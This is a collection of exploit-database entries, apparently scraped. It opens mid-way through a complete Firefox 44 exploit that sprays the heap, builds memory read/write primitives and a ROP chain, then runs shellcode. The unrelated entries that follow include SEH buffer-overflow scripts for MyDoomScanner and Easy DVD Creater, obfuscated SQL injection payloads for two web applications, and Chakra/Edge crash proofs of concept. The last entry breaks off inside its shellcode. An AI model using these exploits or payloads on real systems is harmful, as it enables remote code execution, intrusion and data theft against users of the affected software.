        this.u32array[this.div.mem.idx + 131] = savedClick;
    };

    /*
     * Reserves space in the `u32array' and initializes it to 0.
     *
     * Returns an object with the following properties:
     * - idx: index of the start of the allocation in the u32array
     * - addr: start address of the allocation
     * - size: non-padded allocation size
     * - realSize: padded size
     */
    this.calloc = function(size) {
        let padded = size;
        if (!size || size % 4) {
            padded += 4 - size % 4;
        }

        const found = [];
        /* the first few dwords are reserved for the metadata belonging
         * to `this.array' and for the JSString in readBytes (since using
         * this function would impact the speed of the ROP hunting) */
        for (let i = 10; i < this.u32array.length - 1; i += 2) {
            if (this.u32array[i] === 0x11223344 &&
                this.u32array[i+1] === 0x55667788) {
                found.push(i, i+1);
                if (found.length >= padded / 4) {
                    for (let j = 0; j < found.length; j++) {
                        this.u32array[found[j]] = 0;
                    }
                    return {
                        idx: found[0],
                        addr: this.u32base + found[0]*4,
                        size: size,
                        realSize: padded,
                    };
                }
            } else {
                found.length = 0;
            }
        }
        throw new Error("calloc(): out of memory");
    };

    /*
     * Returns an element in `array' based on an index for `u32array'
     */
    this.getArrayElem = function(idx) {
        if (idx <= 3 || idx % 2) {
            throw new Error("invalid index");
        }
        return this.array[(idx - 4) / 2];
    };

    /*
     * Sets an element in `array' based on an index for `u32array'
     */
    this.setArrayElem = function(idx, value) {
        if (idx <= 3 || idx % 2) {
            throw new Error("invalid index");
        }
        this.array[(idx - 4) / 2] = value;
    };

    this.div = this.createExecuteDiv();
}

function PortableExecutable(base, rwx) {
    this.base = base;
    this.rwx = rwx;
    this.imports = {};
    this.text = {};

    /*
     * Parses the PE import table.  Some resources of interest:
     *
     * - An In-Depth Look into the Win32 Portable Executable File Format
     *   https://msdn.microsoft.com/en-us/magazine/bb985992(printer).aspx
     *
     * - Microsoft Portable Executable and Common Object File Format Specification
     *   https://www.microsoft.com/en-us/download/details.aspx?id=19509
     *
     * - Understanding the Import Address Table
     *   http://sandsprite.com/CodeStuff/Understanding_imports.html
     */
    this.read = function() {
        const rwx = this.rwx;
        let addr = this.base;

        /*
         * DOS header
         */
        const magic = rwx.readWord(addr);
        if (magic !== 0x5a4d) {
            throw new Error("bad DOS header");
        }
        const lfanew = rwx.readDWord(addr + 0x3c, 4);
        addr += lfanew;

        /*
         * Signature
         */
        const signature = rwx.readDWord(addr);
        if (signature !== 0x00004550) {
            throw new Error("bad signature");
        }
        addr += 4;

        /*
         * COFF File Header
         */
        addr += 20;

        /*
         * Optional Header
         */
        const optionalMagic = rwx.readWord(addr);
        if (optionalMagic !== 0x010b) {
            throw new Error("bad optional header");
        }

        this.text.size = rwx.readDWord(addr + 4);
        this.text.base = this.base + rwx.readDWord(addr + 20);

        const numberOfRvaAndSizes = rwx.readDWord(addr + 92);
        addr += 96;

        /*
         * Optional Header Data Directories
         *
         * N entries * 2 DWORDs (RVA and size)
         */
        const directories = rwx.readDWords(addr, numberOfRvaAndSizes * 2);

        for (let i = 0; i < directories[3] - 5*4; i += 5*4) {
            /* Import Directory Table (N entries * 5 DWORDs) */
            const members = rwx.readDWords(this.base + directories[2] + i, 5);
            const lookupTable = this.base + members[0];
            const dllName = rwx.readString(this.base+members[3]).toLowerCase();
            const addrTable = this.base + members[4];

            this.imports[dllName] = {};

            /* Import Lookup Table */
            for (let j = 0; ; j += 4) {
                const hintNameRva = rwx.readDWord(lookupTable + j);
                /* the last entry is NULL */
                if (hintNameRva === 0) {
                    break;
                }

                /* name is not available if the dll is imported by ordinal */
                if (hintNameRva & (1 << 31)) {
                    continue;
                }

                const importName = rwx.readString(this.base + hintNameRva + 2);
                const importAddr = rwx.readDWord(addrTable + j);
                this.imports[dllName][importName] = importAddr;
            }
        }
    };

    /*
     * Searches for an imported symbol
     */
    this.search = function(dll, symbol) {
        if (this.imports[dll] === undefined) {
            throw new Error("unknown dll: " + dll);
        }

        const addr = this.imports[dll][symbol];
        if (addr === undefined) {
            throw new Error("unknown symbol: " + symbol);
        }
        return addr;
    };
}

function Spray() {
    this.nodeBase = 0x80000000;
    this.ptrNum = 64;
    this.refcount = 0xffffffff;
    /*
     * 0:005> ?? sizeof(nsHtml5StackNode)
     * unsigned int 0x1c
     */
    this.nsHtml5StackNodeSize = 0x1c;

    /*
     * Creates a bunch of fake nsHtml5StackNode:s with the hope of hitting
     * the address of elementName->name when it's [xul!nsHtml5Atoms::style].
     *
     * Ultimately, the goal is to enter the conditional on line 2743:
     *
     * firefox-44.0.2/parser/html/nsHtml5TreeBuilder.cpp:2743
     * ,----
     * | 2214 void
     * | 2215 nsHtml5TreeBuilder::endTag(nsHtml5ElementName* elementName)
     * | 2216 {
     * | ....
     * | 2221   nsIAtom* name = elementName->name;
     * | ....
     * | 2741   for (; ; ) {
     * | 2742     nsHtml5StackNode* node = stack[eltPos];
     * | 2743     if (node->ns == kNameSpaceID_XHTML && node->name == name) {
     * | ....
     * | 2748       while (currentPtr >= eltPos) {
     * | 2749         pop();
     * | 2750       }
     * | 2751       NS_HTML5_BREAK(endtagloop);
     * | 2752     } else if (node->isSpecial()) {
     * | 2753       errStrayEndTag(name);
     * | 2754       NS_HTML5_BREAK(endtagloop);
     * | 2755     }
     * | 2756     eltPos--;
     * | 2757   }
     * | ....
     * | 3035 }
     * `----
     *
     * We get 64 attempts each time the bug is triggered -- however, in
     * order to have a clean break, the last node has its flags set to
     * NS_HTML5ELEMENT_NAME_SPECIAL, so that the conditional on line
     * 2752 is entered.
     *
     * If we do find ourselves with a node->name == name, then
     * nsHtml5TreeBuilder::pop() invokes nsHtml5StackNode::release().
     * The release() method decrements the nodes refcount -- and, if the
     * refcount reaches 0, also deletes it.
     *
     * Assuming everything goes well, the Uint32Array is allocated with
     * the method presented by SkyLined/@berendjanwever in:
     *
     * "Heap spraying high addresses in 32-bit Chrome/Firefox on 64-bit Windows"
     * http://blog.skylined.nl/20160622001.html
     */
    this.nodes = function(name, bruteforce) {
        const nodes = new Uint32Array(0x19000000);
        const size = this.nsHtml5StackNodeSize / 4;
        const refcount = bruteforce ? this.refcount : 1;
        let flags = 0;

        for (let i = 0; i < this.ptrNum * size; i += size) {
            if (i === (this.ptrNum - 1) * size) {
                flags = 1 << 29; /* NS_HTML5ELEMENT_NAME_SPECIAL */
                name = 0x0;
            }
            nodes[i] = flags;
            nodes[i+1] = name;
            nodes[i+2] = 0; /* popName */
            nodes[i+3] = 3; /* ns (kNameSpaceID_XHTML) */
            nodes[i+4] = 0; /* node */
            nodes[i+5] = 0; /* attributes */
            nodes[i+6] = refcount;
            name += 0x100000;
        }
        return nodes;
    };

    /*
     * Sprays pointers to the fake nsHtml5StackNode:s created in nodes()
     */
    this.pointers = function() {
        const pointers = new Array();

        for (let i = 0; i < 0x30000; i++) {
            pointers[i] = new Uint32Array(this.ptrNum);
            let node = this.nodeBase;
            for (let j = pointers[i].length - 1; j >= 0; j--) {
                pointers[i][j] = node;
                node += this.nsHtml5StackNodeSize;
            }
        }
        return pointers;
    };

    /*
     * Sprays a bunch of arrays with the goal of having one hijack the
     * previously freed Uint32Array
     */
    this.arrays = function() {
        const array = new Array();

        for (let i = 0; i < 0x800; i++) {
            array[i] = new Array();
            for (let j = 0; j < 0x10000; j++) {
                /* 0x11223344, 0x55667788 */
                array[i][j] = 2.5160082934009793e+103;
            }
        }
        return array;
    };

    /*
     * Not sure how reliable this is, but on 3 machines running win10 on
     * bare metal and on a few VMs with win7/win10 (all with and without
     * EMET), [xul!nsHtml5Atoms::style] was always found within
     * 0x[00a-1c2]f[a-f]6(c|e)0
     */
    this.getNextAddr = function(current) {
        const start = 0x00afa6c0;

        if (!current) {
            return start;
        }

        if ((current >> 20) < 0x150) {
            return current + 0x100000*(this.ptrNum-1);
        }

        if ((current >> 12 & 0xf) !== 0xf) {
            return (current + 0x1000) & ~(0xfff << 20) | (start >> 20) << 20;
        }

        if ((current >> 4 & 0xf) === 0xc) {
            return start + 0x20;
        }
        throw new Error("out of guesses");
    };

    /*
     * Returns the `name' from the last node with a decremented
     * refcount, if any are found
     */
    this.findStyleAddr = function(nodes) {
        const size = this.nsHtml5StackNodeSize / 4;

        for (let i = 64 * size - 1; i >= 0; i -= size) {
            if (nodes[i] === this.refcount - 1) {
                return nodes[i-5];
            }
        }
    };

    /*
     * Locates a subarray in `array' that overlaps with `nodes'
     */
    this.findArray = function(nodes, array) {
        /* index 0..3 is metadata for `array' */
        nodes[4] = 0x41414141;
        nodes[5] = 0x42424242;

        for (let i = 0; i < array.length; i++) {
            if (array[i][0] === 156842099330.5098) {
                return array[i];
            }
        }
        throw new Error("Uint32Array hijack failed");
    };
}

function log(msg) {
    dump("=> " + msg + "\n");
    console.log("=> " + msg);
}

let nodes;
let hijacked;
window.onload = function() {
    if (!navigator.userAgent.match(/Windows NT [0-9.]+; WOW64; rv:44\.0/)) {
        throw new Error("unsupported user-agent");
    }

    const spray = new Spray();

    /*
     * spray nodes
     */
    let bruteforce = true;
    let addr = spray.getNextAddr(0);
    const href = window.location.href.split("?");
    if (href.length === 2) {
        const query = href[1].split("=");
        if (query[0] === "style") {
            bruteforce = false;
        }
        addr = parseInt(query[1]);
    }
    nodes = spray.nodes(addr, bruteforce);

    /*
     * spray node pointers and trigger the bug
     */
    document.body.innerHTML = "<svg><img id='AAAA'>";
    const pointers = spray.pointers();
    document.getElementById("AAAA").innerHTML = "<title><template><td><tr><title><i></tr><style>td</style>";

    /*
     * on to the next run...
     */
    if (bruteforce === true) {
        const style = spray.findStyleAddr(nodes);
        nodes = null;
        if (style) {
            window.location = href[0] + "?style=" + style;
        } else {
            window.location = href[0] + "?continue=" + spray.getNextAddr(addr);
        }
        return;
    }

    /*
     * reallocate the freed Uint32Array
     */
    hijacked = spray.findArray(nodes, spray.arrays());

    /*
     * setup helpers
     */
    const rwx = new ReadWriteExecute(spray.nodeBase, nodes, hijacked);

    /* The first 4 bytes of the previously leaked [xul!nsHtml5Atoms::style]
     * contain the address of xul!PermanentAtomImpl::`vftable'.
     *
     * Note that the subtracted offset is specific to firefox 44.0.2.
     * However, since we can read arbitrary memory by this point, the
     * base of xul could easily (albeit perhaps somewhat slowly) be
     * located by searching for a PE signature */
    const xulBase = rwx.readDWord(addr) - 0x1c1f834;

    log("style found at 0x" + addr.toString(16));
    log("xul.dll found at 0x" + xulBase.toString(16));

    const xulPE = new PortableExecutable(xulBase, rwx);
    xulPE.read();
    const rop = new ROPHelper(xulPE, rwx);
    const kernel32 = new KERNEL32(rop, xulPE, rwx);
    const kernel32handle = kernel32.GetModuleHandleA("kernel32.dll");
    const kernel32PE = new PortableExecutable(kernel32handle, rwx);
    kernel32PE.read();
    const ntdll = new NTDLL(rop, kernel32PE, rwx);
    const icuuc55 = new ICUUC55(rop, xulPE, rwx);

    /*
     * execute shellcode
     */
    const stack = ntdll.getStackLimit(kernel32.GetCurrentThread());
    const exec = icuuc55.alloc(stack, shellcode.length);
    const proc = xulPE.search("kernel32.dll", "GetProcAddress");
    rwx.writeString(exec, shellcode.join(""));
    rop.execute(exec, [kernel32handle, proc], true);
};
</script>
</head>
</html>
            
#!/usr/bin/python
# Exploit Title     : MyDoomScanner1.00 Hostname/IP Field SEH Overwrite POC
# Discovery by      : Anurag Srivastava
# Email             : anurag.srivastava@pyramidcyber.com
# Discovery Date    : 17/08/2017
# Software Link     : https://www.mcafee.com/in/downloads/free-tools/mydoomscanner.aspx
# Tested Version    : 1.00
# Vulnerability Type: SEH Overwrite POC
# Tested on OS      : Windows XP 
# Steps to Reproduce: Copy contents of evil.txt file and paste in the Hostname/IP Field. Press ->
##########################################################################################
#  -----------------------------------NOTES----------------------------------------------#
##########################################################################################
 
#SEH chain of main thread
#Address    SE handler
#0012FAF8   43434343
#42424242   *** CORRUPT ENTRY ***
 
# Offset to the SEH Frame is 536
buffer = "A"*520
# Address of the Next SEH Frame
nseh = "B"*4
# Address to the Handler Code
seh = "C" *4
f = open("evil.txt", "wb")
f.write(buffer+nseh+seh)
f.close()
            
# # # # #
# Exploit Title: Food Ordering Script 1.0 - SQL Injection
# Dork: N/A
# Date: 17.08.2017
# Vendor Homepage : http://www.earthtechnology.co.in/our_products.html
# Software Link: https://www.foodorderingscript.com/
# Demo: https://www.foodorderingscript.com/demo-new/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands...
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/restaurantDetails.php?resid=[SQL]
# 
# 1'+/*!00600aNd*/(/*!00600SelEcT*/+0x30783331+/*!00600fRoM*/+(/*!00600SelEcT*/+CoUnT(*),/*!00600cOncaT*/((/*!00600SeleCT*/(/*!00600SeleCT*/+/*!00600cOncaT*/(cAST(daTabAsE()+aS+/*!00600cHAR*/),0x7e,0x496873616E53656e63616e))+/*!00600fRoM*/+iNFORMATION_sCHEMA.tABLES+/*!00600wHERE*/+tABLE_sCHEMA=daTabAsE()+lIMIT+0,1),fLooR(/*!00600rAND*/(0)*2))x+/*!00600fRoM*/+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a)+/*!00600aNd*/+''='
# 
# http://localhost/[PATH]/search1det.php?action=orderFullDetails&orderid=[SQL]
# 
# Etc...
# # # # #
            
// The attached JavaScript file causes an out-of-bounds access of the source buffer when fetching the source for one of the functions during delayed compilation. The out-of-bounds value is then treated as the pointer to the source. This is likely an exploitable condition.

// In the debug build of Chakra, this script hits the following assert:

// ASSERTION 19041: (/home/user/test_everywhere/ChakraCore/lib/Common/DataStructures/List.h, line 329) index >= 0 && index < this->count
// Failure: (index >= 0 && index < this->count)
// Illegal instruction (core dumped)

// The attached script is a test case from the v8 (Chrome) test repository, minimized to show the issue.

print = function(){};
(function () {  

  assertPromiseResult = function(promise, success, fail) {

    if (!success) success = () => {};

    failWithMessage = (msg) => eval("print(msg)");
    if (!fail) {
      fail = result => failWithMessage("assertPromiseResult failed: " + result);
    }

    var test_promise =
        promise.then(
          result => {
            try {
              success(result);
            } catch (e) {
              failWithMessage(e);
            }
          },
          result => {
            fail(result);
          }
        )
        .then((x)=> {
          if (--promiseTestCount == 0) testRunner.notifyDone();
        });

    if (!promiseTestChain) promiseTestChain = Promise.resolve();
    // waitUntilDone is idempotent.
    testRunner.waitUntilDone();
    ++promiseTestCount;
    return promiseTestChain.then(test_promise);
  };


 assertUnoptimized = function assertUnoptimized(fun, sync_opt, name_opt) {
    if (sync_opt === undefined) sync_opt = "";
    var opt_status = OptimizationStatus(fun, sync_opt);
    // Tests that use assertOptimized() do not make sense if --always-opt
    // option is provided. Such tests must add --no-always-opt to flags comment.
    assertFalse((opt_status & V8OptimizationStatus.kAlwaysOptimize) !== 0,
                "test does not make sense with --always-opt");
    assertTrue((opt_status & V8OptimizationStatus.kIsFunction) !== 0, name_opt);
    if ((opt_status & V8OptimizationStatus.kMaybeDeopted) !== 0) {
      // When --deopt-every-n-times flag is specified it's no longer guaranteed
      // that particular function is still deoptimized, so keep running the test
      // to stress test the deoptimizer.
      return;
    }
    assertFalse((opt_status & V8OptimizationStatus.kOptimized) !== 0, name_opt);
  }






 
  assertOptimized = function assertOptimized(fun, sync_opt, name_opt) {
    if (sync_opt === undefined) sync_opt = "";
    var opt_status = OptimizationStatus(fun, sync_opt);
    // Tests that use assertOptimized() do not make sense if --no-opt
    // option is provided. Such tests must add --opt to flags comment.
    assertFalse((opt_status & V8OptimizationStatus.kNeverOptimize) !== 0,
                "test does not make sense with --no-opt");
    assertTrue((opt_status & V8OptimizationStatus.kIsFunction) !== 0, name_opt);
    if ((opt_status & V8OptimizationStatus.kMaybeDeopted) !== 0) {
      // When --deopt-every-n-times flag is specified it's no longer guaranteed
      // that particular function is still optimized, so keep running the test
      // to stress test the deoptimizer.
      return;
    }
    assertTrue((opt_status & V8OptimizationStatus.kOptimized) !== 0, name_opt);
  }

  isNeverOptimize = function isNeverOptimize() {
    var opt_status = OptimizationStatus(undefined, "");
    return (opt_status & V8OptimizationStatus.kNeverOptimize) !== 0;
  }

  isAlwaysOptimize = function isAlwaysOptimize() {
    var opt_status = OptimizationStatus(undefined, "");
    return (opt_status & V8OptimizationStatus.kAlwaysOptimize) !== 0;
  }

  isInterpreted = function isInterpreted(fun) {
    var opt_status = OptimizationStatus(fun, "");
    assertTrue((opt_status & V8OptimizationStatus.kIsFunction) !== 0,
               "not a function");
    return (opt_status & V8OptimizationStatus.kOptimized) === 0 &&
           (opt_status & V8OptimizationStatus.kInterpreted) !== 0;
  }

  isOptimized = function isOptimized(fun) {
    var opt_status = OptimizationStatus(fun, "");
    assertTrue((opt_status & V8OptimizationStatus.kIsFunction) !== 0,
               "not a function");
    return (opt_status & V8OptimizationStatus.kOptimized) !== 0;
  }

  isCrankshafted = function isCrankshafted(fun) {
    var opt_status = OptimizationStatus(fun, "");
    assertTrue((opt_status & V8OptimizationStatus.kIsFunction) !== 0,
               "not a function");
    return (opt_status & V8OptimizationStatus.kOptimized) !== 0 &&
           (opt_status & V8OptimizationStatus.kTurboFanned) === 0;
  }

  isTurboFanned = function isTurboFanned(fun) {
    var opt_status = OptimizationStatus(fun, "");
    assertTrue((opt_status & V8OptimizationStatus.kIsFunction) !== 0,
               "not a function");
    return (opt_status & V8OptimizationStatus.kOptimized) !== 0 &&
           (opt_status & V8OptimizationStatus.kTurboFanned) !== 0;
  }

})();


// Copyright 2015 the V8 project authors. All rights reserved.
// Use of this source code is governed by a BSD-style license that can be
// found in the LICENSE file.

// Flags: --allow-natives-syntax

assertEquals = print;

var m = (function() {
  "use asm";
  function f(x) {
    return x < 0;
  }
  function g(x) {
    return 0 < x;
  }
  return { f: f, g: g };
})();
var f = m.f;
var g = m.g;

var counter = 0;

function deopt(f) {
  return {
    toString : function() {
      print(f);
      counter++;
      return "2";
    }
  };
}

assertEquals(false, f(deopt(f)));
assertEquals(1, counter);

assertEquals(true, g(deopt(g)));
assertEquals(2, counter);

print(f);
assertEquals(false, f(deopt(f)));
assertEquals(3, counter);

print(g);
assertEquals(true, g(deopt(g)));
assertEquals(4, counter);
            
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1320

The attached fuzzed swf file causes the traits of an ActionScript object to be accessed out of bounds. This can probably lead to exploitable type confusion. 


Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/42480.zip
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1316

Coincidentally, Microsoft released the patch for the  issue 1290  the day after I reported it. But it seems they fixed it incorrectly again.

This time, "func(a, b, i);" is replaced with "func(a, b, {});".

PoC:
-->

'use strict';

function func(a, b, c) {
    a[0] = 1.2;
    b[0] = c;
    a[1] = 2.2;
    a[0] = 2.3023e-320;
}

function main() {
    let a = [1.1, 2.2];
    let b = new Uint32Array(100);

    for (let i = 0; i < 0x1000; i++)
        func(a, b, {});  // <<---------- REPLACED

    func(a, b, {valueOf: () => {
        a[0] = {};

        return 0;
    }});

    a[0].toString();
}

main();

// Tested on Microsoft Edge 40.15063.0.0(Insider Preview).
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1315

The bytecode generator uses the "EmitNew" function to handle new operators.
Here's the code how the function checks for integer overflow.
void EmitNew(ParseNode* pnode, ByteCodeGenerator* byteCodeGenerator, FuncInfo* funcInfo)
{
    Js::ArgSlot argCount = pnode->sxCall.argCount;
    argCount++; // include "this"

    BOOL fSideEffectArgs = FALSE;
    unsigned int tmpCount = CountArguments(pnode->sxCall.pnodeArgs, &fSideEffectArgs);
    Assert(argCount == tmpCount);

    if (argCount != (Js::ArgSlot)argCount)
    {
        Js::Throw::OutOfMemory();
    }
    ...
}

"Js::ArgSlot" is a 16 bit unsigned integer type. And "argCount" is of the type "Js::ArgSlot". So "if (argCount != (Js::ArgSlot)argCount)" has no point. It can't prevent the integer overflow at all.

PoC:
-->

let args = new Array(0x10000);
args = args.fill(0x1234).join(', ');
eval('new Array(' + args + ')');
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1298

Similar to the  issue #1297 . But this time, it happends in "Parser::ParseFncFormals" with the "PNodeFlags::fpnArguments_overriddenInParam" flag.

template<bool buildAST>
void Parser::ParseFncFormals(ParseNodePtr pnodeFnc, ParseNodePtr pnodeParentFnc, ushort flags)
{
    ...
    if (IsES6DestructuringEnabled() && IsPossiblePatternStart())
    {
        ...
        // Instead of passing the STFormal all the way on many methods, it seems it is better to change the symbol type afterward.
        for (ParseNodePtr lexNode = *ppNodeLex; lexNode != nullptr; lexNode = lexNode->sxVar.pnodeNext)
        {
            Assert(lexNode->IsVarLetOrConst());
            UpdateOrCheckForDuplicateInFormals(lexNode->sxVar.pid, &formals);
            lexNode->sxVar.sym->SetSymbolType(STFormal);
            if (m_currentNodeFunc != nullptr && lexNode->sxVar.pid == wellKnownPropertyPids.arguments)
            {
                m_currentNodeFunc->grfpn |= PNodeFlags::fpnArguments_overriddenInParam;  <<------ HERE
            }
        }
        ...
    ...
}

PoC:
-->

function f() {
    ({a = ([arguments]) => {
    }} = 1);

    arguments.x;
}

f();
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1297

Here's a snippet of "ParseVariableDeclaration" which is used for parsing declarations.
template<bool buildAST>
ParseNodePtr Parser::ParseVariableDeclaration(
    tokens declarationType, charcount_t ichMin,
    BOOL fAllowIn/* = TRUE*/,
    BOOL* pfForInOk/* = nullptr*/,
    BOOL singleDefOnly/* = FALSE*/,
    BOOL allowInit/* = TRUE*/,
    BOOL isTopVarParse/* = TRUE*/,
    BOOL isFor/* = FALSE*/,
    BOOL* nativeForOk /*= nullptr*/)
{
    ...
    if (pid == wellKnownPropertyPids.arguments && m_currentNodeFunc)
    {
        // This var declaration may change the way an 'arguments' identifier in the function is resolved
        if (declarationType == tkVAR)
        {
            m_currentNodeFunc->grfpn |= PNodeFlags::fpnArguments_varDeclaration;
        }
        else
        {
            if (GetCurrentBlockInfo()->pnodeBlock->sxBlock.blockType == Function)
            {
                // Only override arguments if we are at the function block level.
                m_currentNodeFunc->grfpn |= PNodeFlags::fpnArguments_overriddenByDecl;
            }
        }
    }
    ...
}

"m_currentNodeFunc" is only replaced when "buildAST" is true. So I think it's not supposed to use "m_currentNodeFunc" when "buildAST" is false. But the above code is using it regardless of "buildAST". So it may change a wrong function's "grfpn" flag. What I noticed is the "PNodeFlags::fpnArguments_overriddenByDecl" flag which makes the function's arguments uninitialized.

PoC:
-->

function f() {
    ({a = () => {
        let arguments;
    }} = 1);

    arguments.x;
}

f();
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1295

Here's the method.
Var JavascriptFunction::EntryCall(RecyclableObject* function, CallInfo callInfo, ...)
{
    PROBE_STACK(function->GetScriptContext(), Js::Constants::MinStackDefault);

    RUNTIME_ARGUMENTS(args, callInfo);
    ScriptContext* scriptContext = function->GetScriptContext();

    Assert(!(callInfo.Flags & CallFlags_New));

    ///
    /// Check Argument[0] has internal [[Call]] property
    /// If not, throw TypeError
    ///
    if (args.Info.Count == 0 || !JavascriptConversion::IsCallable(args[0]))
    {
        JavascriptError::ThrowTypeError(scriptContext, JSERR_This_NeedFunction, _u("Function.prototype.call"));
    }

    RecyclableObject *pFunc = RecyclableObject::FromVar(args[0]);
    if (args.Info.Count == 1)
    {
        args.Values[0] = scriptContext->GetLibrary()->GetUndefined();
    }
    else
    {
        ///
        /// Remove function object from the arguments and pass the rest
        ///
        for (uint i = 0; i < args.Info.Count - 1; ++i)
        {
            args.Values[i] = args.Values[i + 1];
        }
        args.Info.Count = args.Info.Count - 1;
    }

    ///
    /// Call the [[Call]] method on the function object
    ///
    return JavascriptFunction::CallFunction<true>(pFunc, pFunc->GetEntryPoint(), args);
}

Chakra uses the first value of "args.Values" as "this" and "args.Info.Count - 1" as the length of the arguments. So "args.Info.Count" must always be 1 or greater. 

But the problem is that the method decrements "args.Info.Count" by one without considering the flag "CallFlags_ExtraArg". If the flag is set, the value of "args.Info.Count" will be decremented again in the next routine(ArgumentReader::AdjustArguments) because the last value of the arguments is not used as an actual argument. Therefore, the value of "args.Info.Count" becomes 0.

PoC:
-->

function f() {
    print(arguments);
}

let call = new Proxy(Function.prototype.call, {});  // proxy calls set the flag
call.call(f);
            
<!--
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1292

Let's assume that the following method is called with "firstPromotedItemIsSpreadable = true", and "args" has two elements an array and an integer 0x1234 sequentially.
In the first loop, "aItem" is an array, and "firstPromotedItemIsSpreadable" remains true because the condition for the fast path is satisfied. In the second loop, "aItem" is 0x1234 and not spreadable, but the code at (a) makes the "spreadable" variable true, thus it reaches (b) and a type confusion occurs.

template<typename T>
void JavascriptArray::ConcatArgs(RecyclableObject* pDestObj, TypeId* remoteTypeIds,
    Js::Arguments& args, ScriptContext* scriptContext, uint start, uint startIdxDest,
    BOOL firstPromotedItemIsSpreadable, BigIndex firstPromotedItemLength, bool spreadableCheckedAndTrue)
{
    JS_REENTRANCY_LOCK(jsReentLock, scriptContext->GetThreadContext());
    JavascriptArray* pDestArray = nullptr;

    if (JavascriptArray::Is(pDestObj))
    {
        pDestArray = JavascriptArray::FromVar(pDestObj);
    }

    T idxDest = startIdxDest;
    for (uint idxArg = start; idxArg < args.Info.Count; idxArg++)
    {
        Var aItem = args[idxArg];
        bool spreadable = spreadableCheckedAndTrue;
        if (!spreadable && scriptContext->GetConfig()->IsES6IsConcatSpreadableEnabled())
        {
            // firstPromotedItemIsSpreadable is ONLY used to resume after a type promotion from uint32 to uint64
            // we do this because calls to IsConcatSpreadable are observable (a big deal for proxies) and we don't
            // want to do the work a second time as soon as we record the length we clear the flag.
            JS_REENTRANT(jsReentLock, spreadable = firstPromotedItemIsSpreadable || JavascriptOperators::IsConcatSpreadable(aItem)); <<------------------------- (a)

            if (!spreadable)
            {
                JS_REENTRANT(jsReentLock, JavascriptArray::SetConcatItem<T>(aItem, idxArg, pDestArray, pDestObj, idxDest, scriptContext));
                ++idxDest;
                continue;
            }
        }
        else
        {
            spreadableCheckedAndTrue = false; // if it was `true`, reset after the first use
        }

        if (pDestArray && JavascriptArray::IsDirectAccessArray(aItem) && JavascriptArray::IsDirectAccessArray(pDestArray)
            && BigIndex(idxDest + JavascriptArray::FromVar(aItem)->length).IsSmallIndex() && !JavascriptArray::FromVar(aItem)->IsFillFromPrototypes()) // Fast path
        {
            ...
        }
        else
        {
            // Flatten if other array or remote array (marked with TypeIds_Array)
            if (DynamicObject::IsAnyArray(aItem) || remoteTypeIds[idxArg] == TypeIds_Array || spreadable)
            {
                <<-------------------------------------------------------------------------------------------------- (b)
                //CONSIDER: enumerating remote array instead of walking all indices
                BigIndex length;
                if (firstPromotedItemIsSpreadable)
                {
                    firstPromotedItemIsSpreadable = false;
                    length = firstPromotedItemLength;
                }
                else
                {
                    JS_REENTRANT(jsReentLock, length = OP_GetLength(aItem, scriptContext));
                }
                ...
                RecyclableObject* itemObject = RecyclableObject::FromVar(aItem); <<----------------------- TYPE CONFUSION
                ...
            }
            ...
        }
        ...
    }
}

PoC:
-->

let a = [0];
let b = [0];
b.__defineGetter__(Symbol.isConcatSpreadable, () => {
    b[0] = 1.2;
    return true;
});

let res = a.concat(b, 0x1234);
print(res);
            
# # # # # 
# Exploit Title: Joomla! Component Flip Wall 8.0 - SQL Injection
# Dork: N/A
# Date: 21.08.2017
# Vendor Homepage: http://pulseextensions.com/
# Software Link: https://extensions.joomla.org/extensions/extension/ads-a-affiliates/sponsors/flip-wall/
# Demo: http://demo.pulseextensions.com/flip-wall-component-demo/
# Version: 8.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 	
# Proof of Concept:
# 
# http://localhost/[PATH]/index.php?option=com_flipwall&task=click&wallid=[SQL]
#
# 811+aND(/*!11166sELeCT*/+0x30783331+/*!11166FrOM*/+(/*!11166SeLeCT*/+cOUNT(*),/*!11166CoNCaT*/((sELEcT(sELECT+/*!11166CoNCAt*/(cAST(dATABASE()+aS+cHAR),0x7e,0x496873616E53656e63616e))+fROM+iNFORMATION_sCHEMA.tABLES+wHERE+tABLE_sCHEMA=dATABASE()+lIMIT+0,1),fLOOR(rAND(0)*2))x+fROM+iNFORMATION_sCHEMA.tABLES+gROUP+bY+x)a)+AND+1=1
#
# Etc..
# # # # #
            
#!/usr/bin/python
 
###############################################################################
# Exploit Title:        Easy DVD Creater 2.5.11 - 'Enter User Name' Field Buffer Overflow (SEH)
# Date:                 19-08-2017
# Exploit Author:       Anurag Srivastava 
# Website:		www.pyramidcyber.com
# Vulnerable Software:  Easy DVD Creater 
# Vendor Homepage:      http://www.divxtodvd.net/
# Version:              2.5.11
# Software Link:        http://www.divxtodvd.net/easy_dvd_creator.exe
# Tested On:            Windows XP
#
# Credit to PYRAMID cYBER AND MR. NIPUN JASWAL
#
# To reproduce the exploit:
#   1. Click Register
#   2. In the "Enter User Name" field, paste the content of pyramid.txt
#
##############################################################################
 

buffer = "\x41" * 996
 
nSEH = "\xeb\x10\x90\x90"
 
# 0x10037859 : pop esi # pop ebx # ret 0x04 | ascii {PAGE_EXECUTE_READ} [SkinMagic.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False
SEH = "\x59\x78\x03\x10"
 
badchars = "\x00\x0a\x0d" # and 0x80 to 0xff
 
# msfvenom -p windows/exec CMD=calc.exe -b "\x00\x0a\x0d" -f python
buf =  ""
buf += "\xda\xd7\xd9\x74\x24\xf4\xba\x07\xc8\xf9\x11\x5e\x2b"
